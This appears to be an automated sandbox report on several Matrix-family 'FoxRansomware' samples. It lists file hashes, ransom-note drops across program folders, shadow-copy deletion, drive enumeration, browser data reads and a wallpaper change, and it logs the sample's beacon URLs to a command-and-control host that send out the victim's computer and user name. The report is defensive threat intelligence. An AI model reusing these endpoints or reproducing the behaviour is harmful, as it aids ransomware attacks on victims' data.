Overview
overview
10Static
static
FoxRansomw...65.exe
windows7_x64
10FoxRansomw...65.exe
windows10-2004_x64
10FoxRansomw...a7.exe
windows7_x64
10FoxRansomw...a7.exe
windows10-2004_x64
10FoxRansomw...20.exe
windows7_x64
10FoxRansomw...20.exe
windows10-2004_x64
10FoxRansomw...0b.exe
windows7_x64
10FoxRansomw...0b.exe
windows10-2004_x64
10FoxRansomw...53.exe
windows7_x64
10FoxRansomw...53.exe
windows10-2004_x64
10FoxRansomw...b1.exe
windows7_x64
10FoxRansomw...b1.exe
windows10-2004_x64
10Analysis
-
max time kernel
159s -
max time network
123s -
platform
windows7_x64 -
resource
win7-en-20211208 -
submitted
01-02-2022 08:39
Static task
static1
Behavioral task
behavioral1
Sample
FoxRansomware/0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe
Resource
win7-en-20211208
Behavioral task
behavioral2
Sample
FoxRansomware/0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe
Resource
win10v2004-en-20220112
Behavioral task
behavioral3
Sample
FoxRansomware/0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
Resource
win7-en-20211208
Behavioral task
behavioral4
Sample
FoxRansomware/0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
Resource
win10v2004-en-20220113
Behavioral task
behavioral5
Sample
FoxRansomware/42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
Resource
win7-en-20211208
Behavioral task
behavioral6
Sample
FoxRansomware/42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
Resource
win10v2004-en-20220113
Behavioral task
behavioral7
Sample
FoxRansomware/6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe
Resource
win7-en-20211208
Behavioral task
behavioral8
Sample
FoxRansomware/6e9060d56e669658b059f25a05f37f4d266658fece36afdb564536607fd9570b.exe
Resource
win10v2004-en-20220113
Behavioral task
behavioral9
Sample
FoxRansomware/91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe
Resource
win7-en-20211208
Behavioral task
behavioral10
Sample
FoxRansomware/91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe
Resource
win10v2004-en-20220113
Behavioral task
behavioral11
Sample
FoxRansomware/941af29a59f8d5960af161b9116bbc7d574a9af6f69a47cf0d3daeb31cba6eb1.exe
Resource
win7-en-20211208
Behavioral task
behavioral12
Sample
FoxRansomware/941af29a59f8d5960af161b9116bbc7d574a9af6f69a47cf0d3daeb31cba6eb1.exe
Resource
win10v2004-en-20220112
General
-
Target
FoxRansomware/0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe
-
Size
1.2MB
-
MD5
607d292bdcdde297252e002e613282ae
-
SHA1
0161d2dd582d064f7e7f50ccb43478ff0884916a
-
SHA256
0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65
-
SHA512
2bdc2ff857f9f52aac5071d3a695f7baf822a971969ba263ad03769c41af7916b558bada6bfe76fe78f730235a4ca5d2dd1cf3eaa2a59c5efef06af0a798acb8
Malware Config
Extracted
http://myexternalip.com/raw
Signatures
-
Matrix Ransomware 64 IoCs
Targeted ransomware with information collection and encryption functionality.
description flow ioc Process File created C:\Program Files\Google\Chrome\Application\89.0.4389.114\WidevineCdm\_platform_specific\win_x64\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\VideoLAN\VLC\plugins\control\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\bin\dtplugin\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\Microsoft Games\More Games\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\VideoLAN\VLC\hrtfs\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\VideoLAN\VLC\locale\ckb\LC_MESSAGES\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\VideoLAN\VLC\locale\fur\LC_MESSAGES\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.console_5.5.0.165303\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.e4.rcp_1.3.100.v20141007-2033\META-INF\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\Microsoft Games\Multiplayer\Backgammon\fr-FR\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\Microsoft Games\Multiplayer\Checkers\es-ES\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\Mozilla Firefox\browser\VisualElements\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\VideoLAN\VLC\locale\vi\LC_MESSAGES\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\Microsoft Games\Purble Place\es-ES\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\VideoLAN\VLC\locale\hr\LC_MESSAGES\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\Google\Chrome\Application\Dictionaries\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\configuration\org.eclipse.equinox.simpleconfigurator\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\Microsoft Games\Multiplayer\Checkers\ja-JP\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files (x86)\Microsoft Analysis Services\AS OLEDB\10\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.rcp.ja_5.5.0.165303\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\Microsoft Games\Hearts\es-ES\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\Mozilla Firefox\fonts\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\Java\jdk1.7.0_80\db\lib\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Indian\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\Java\jre7\lib\amd64\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\VideoLAN\VLC\locale\ka\LC_MESSAGES\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\VideoLAN\VLC\locale\an\LC_MESSAGES\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\VideoLAN\VLC\lua\playlist\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\Microsoft Games\Multiplayer\Checkers\en-US\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\VideoLAN\VLC\locale\es\LC_MESSAGES\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\VideoLAN\VLC\locale\lg\LC_MESSAGES\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.ssl.feature_1.0.0.v20140827-1444\META-INF\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.feature_3.9.1.v20140827-1444\META-INF\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\Microsoft Games\Mahjong\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\ProgramData\Microsoft\OFFICE\UICaptions\3082\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Users\All Users\Package Cache\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\packages\vcRuntimeMinimum_amd64\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.feature_3.9.1.v20140827-1444\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\META-INF\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\dark\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\Java\jre7\lib\zi\SystemV\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\VideoLAN\VLC\locale\da\LC_MESSAGES\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\VideoLAN\VLC\locale\pl\LC_MESSAGES\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe HTTP URL 4 http://fredstat.000webhostapp.com/addrecord.php?apikey=anonapikey&compuser=VQVVOAJK|Admin&sid=L765et06Ow9AO3r8&phase=[ALL]47DADB0F51C5A13E Process not Found File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.ssl.feature_1.0.0.v20140827-1444\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.help_2.0.102.v20141007-2301\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\Java\jre7\bin\dtplugin\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\Java\jre7\lib\ext\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.rcp.product_5.5.0.165303\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\css\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\VideoLAN\VLC\locale\el\LC_MESSAGES\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files (x86)\Mozilla Maintenance Service\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\VideoLAN\VLC\locale\af\LC_MESSAGES\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\ProgramData\Microsoft\OFFICE\UICaptions\1036\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\VideoLAN\VLC\locale\be\LC_MESSAGES\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe HTTP URL 3 http://fredstat.000webhostapp.com/addrecord.php?apikey=anonapikey&compuser=VQVVOAJK|Admin&sid=L765et06Ow9AO3r8&phase=START Process not Found File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.feature_1.1.0.v20140827-1444\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\VideoLAN\VLC\locale\nb\LC_MESSAGES\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\VideoLAN\VLC\plugins\stream_extractor\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\Java\jdk1.7.0_80\include\win32\bridge\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\VideoLAN\VLC\locale\ff\LC_MESSAGES\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe -
suricata: ET MALWARE MSIL/Matrix Ransomware CnC Activity
suricata: ET MALWARE MSIL/Matrix Ransomware CnC Activity
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Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
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Blocklisted process makes network request 1 IoCs
flow pid Process 9 1572 powershell.exe -
Drops file in Drivers directory 1 IoCs
description ioc Process File created C:\Windows\system32\Drivers\PROCEXP152.SYS kFEa3Jop64.exe -
Executes dropped EXE 3 IoCs
pid Process 568 NWL2hCtC.exe 456 kFEa3Jop.exe 1816 kFEa3Jop64.exe -
Sets service image path in registry 2 TTPs
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resource yara_rule behavioral1/files/0x0005000000014073-69.dat upx behavioral1/files/0x0005000000014073-70.dat upx behavioral1/files/0x0005000000014073-71.dat upx -
Loads dropped DLL 4 IoCs
pid Process 836 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe 836 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe 1896 cmd.exe 456 kFEa3Jop.exe -
Modifies file permissions 1 TTPs 1 IoCs
pid Process 1180 takeown.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Drops desktop.ini file(s) 18 IoCs
description ioc Process File opened for modification C:\Program Files\Microsoft Games\SpiderSolitaire\desktop.ini 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Users\Public\Videos\Sample Videos\desktop.ini 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Users\Public\Music\Sample Music\desktop.ini 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\QDAZQ7UR\desktop.ini 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\desktop.ini 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Microsoft Games\Chess\desktop.ini 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Microsoft Games\Solitaire\desktop.ini 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Users\Public\Videos\desktop.ini 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Users\Public\Desktop\desktop.ini 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Microsoft Games\Hearts\desktop.ini 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Microsoft Games\FreeCell\desktop.ini 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Microsoft Games\Mahjong\desktop.ini 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Users\Admin\Desktop\desktop.ini 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Users\Admin\Documents\desktop.ini 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Microsoft Games\Purble Place\desktop.ini 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files (x86)\desktop.ini 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Users\Admin\Music\desktop.ini 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Users\Public\Music\desktop.ini 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe -
Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\F: kFEa3Jop64.exe File opened (read-only) \??\I: kFEa3Jop64.exe File opened (read-only) \??\G: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\M: kFEa3Jop64.exe File opened (read-only) \??\N: kFEa3Jop64.exe File opened (read-only) \??\O: kFEa3Jop64.exe File opened (read-only) \??\Q: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\B: kFEa3Jop64.exe File opened (read-only) \??\E: kFEa3Jop64.exe File opened (read-only) \??\G: kFEa3Jop64.exe File opened (read-only) \??\R: kFEa3Jop64.exe File opened (read-only) \??\S: kFEa3Jop64.exe File opened (read-only) \??\X: kFEa3Jop64.exe File opened (read-only) \??\W: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\L: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\E: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\A: kFEa3Jop64.exe File opened (read-only) \??\L: kFEa3Jop64.exe File opened (read-only) \??\Q: kFEa3Jop64.exe File opened (read-only) \??\T: kFEa3Jop64.exe File opened (read-only) \??\W: kFEa3Jop64.exe File opened (read-only) \??\X: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\Z: kFEa3Jop64.exe File opened (read-only) \??\F: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\P: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\S: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\N: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\V: kFEa3Jop64.exe File opened (read-only) \??\Y: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\R: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\M: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\J: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\I: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\H: kFEa3Jop64.exe File opened (read-only) \??\U: kFEa3Jop64.exe File opened (read-only) \??\Y: kFEa3Jop64.exe File opened (read-only) \??\V: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\U: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\T: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\O: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\K: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\H: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\J: kFEa3Jop64.exe File opened (read-only) \??\K: kFEa3Jop64.exe File opened (read-only) \??\Z: 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened (read-only) \??\P: kFEa3Jop64.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 8 myexternalip.com -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Roaming\\k1DKvv9G.bmp" reg.exe -
Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\images\cursors\win32_LinkDrop32x32.gif 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.flightrecorder.controlpanel.ui_5.5.0.165303.jar 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Mozilla Firefox\nss3.dll 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\VideoLAN\VLC\plugins\stream_filter\libprefetch_plugin.dll 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Menominee 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.apache.httpcomponents.httpclient_4.2.6.v201311072007.jar 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\bin\setNetworkClientCP.bat 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Java\jre7\bin\javacpl.exe 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\VideoLAN\VLC\plugins\packetizer\libpacketizer_dirac_plugin.dll 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files (x86)\Microsoft Visual Studio 8\Common7\IDE\VSTA\ItemTemplates\VisualBasic\1033\Dialog.zip 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT-11 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\icons\flight_recorder.png 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Microsoft Games\Hearts\ja-JP\Hearts.exe.mui 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\management-agent.jar 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\lib\smtp.jar 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files (x86)\Microsoft Visual Studio 8\Common7\IDE\VSTA\ItemTemplates\VisualBasic\1033\Text.zip 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.rcp.product_5.5.0.165303\feature.xml 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Africa\Abidjan 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Rainy_River 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Mozilla Firefox\api-ms-win-core-file-l2-1-0.dll 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\Microsoft Games\Hearts\de-DE\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\zu\LC_MESSAGES\vlc.mo 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\VideoLAN\VLC\plugins\audio_filter\libsamplerate_plugin.dll 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.launcher.win32.win32.x86_64.nl_zh_4.4.0.v20140623020002.jar 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\fonts\LucidaBrightRegular.ttf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Pacific\Chuuk 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AMT\AUMProduct.cer 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.mbeanbrowser.ja_5.5.0.165303.jar 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Microsoft Games\Solitaire\es-ES\Solitaire.exe.mui 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\javaws.exe 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.core\cache\artifacts.xml 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Puerto_Rico 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created 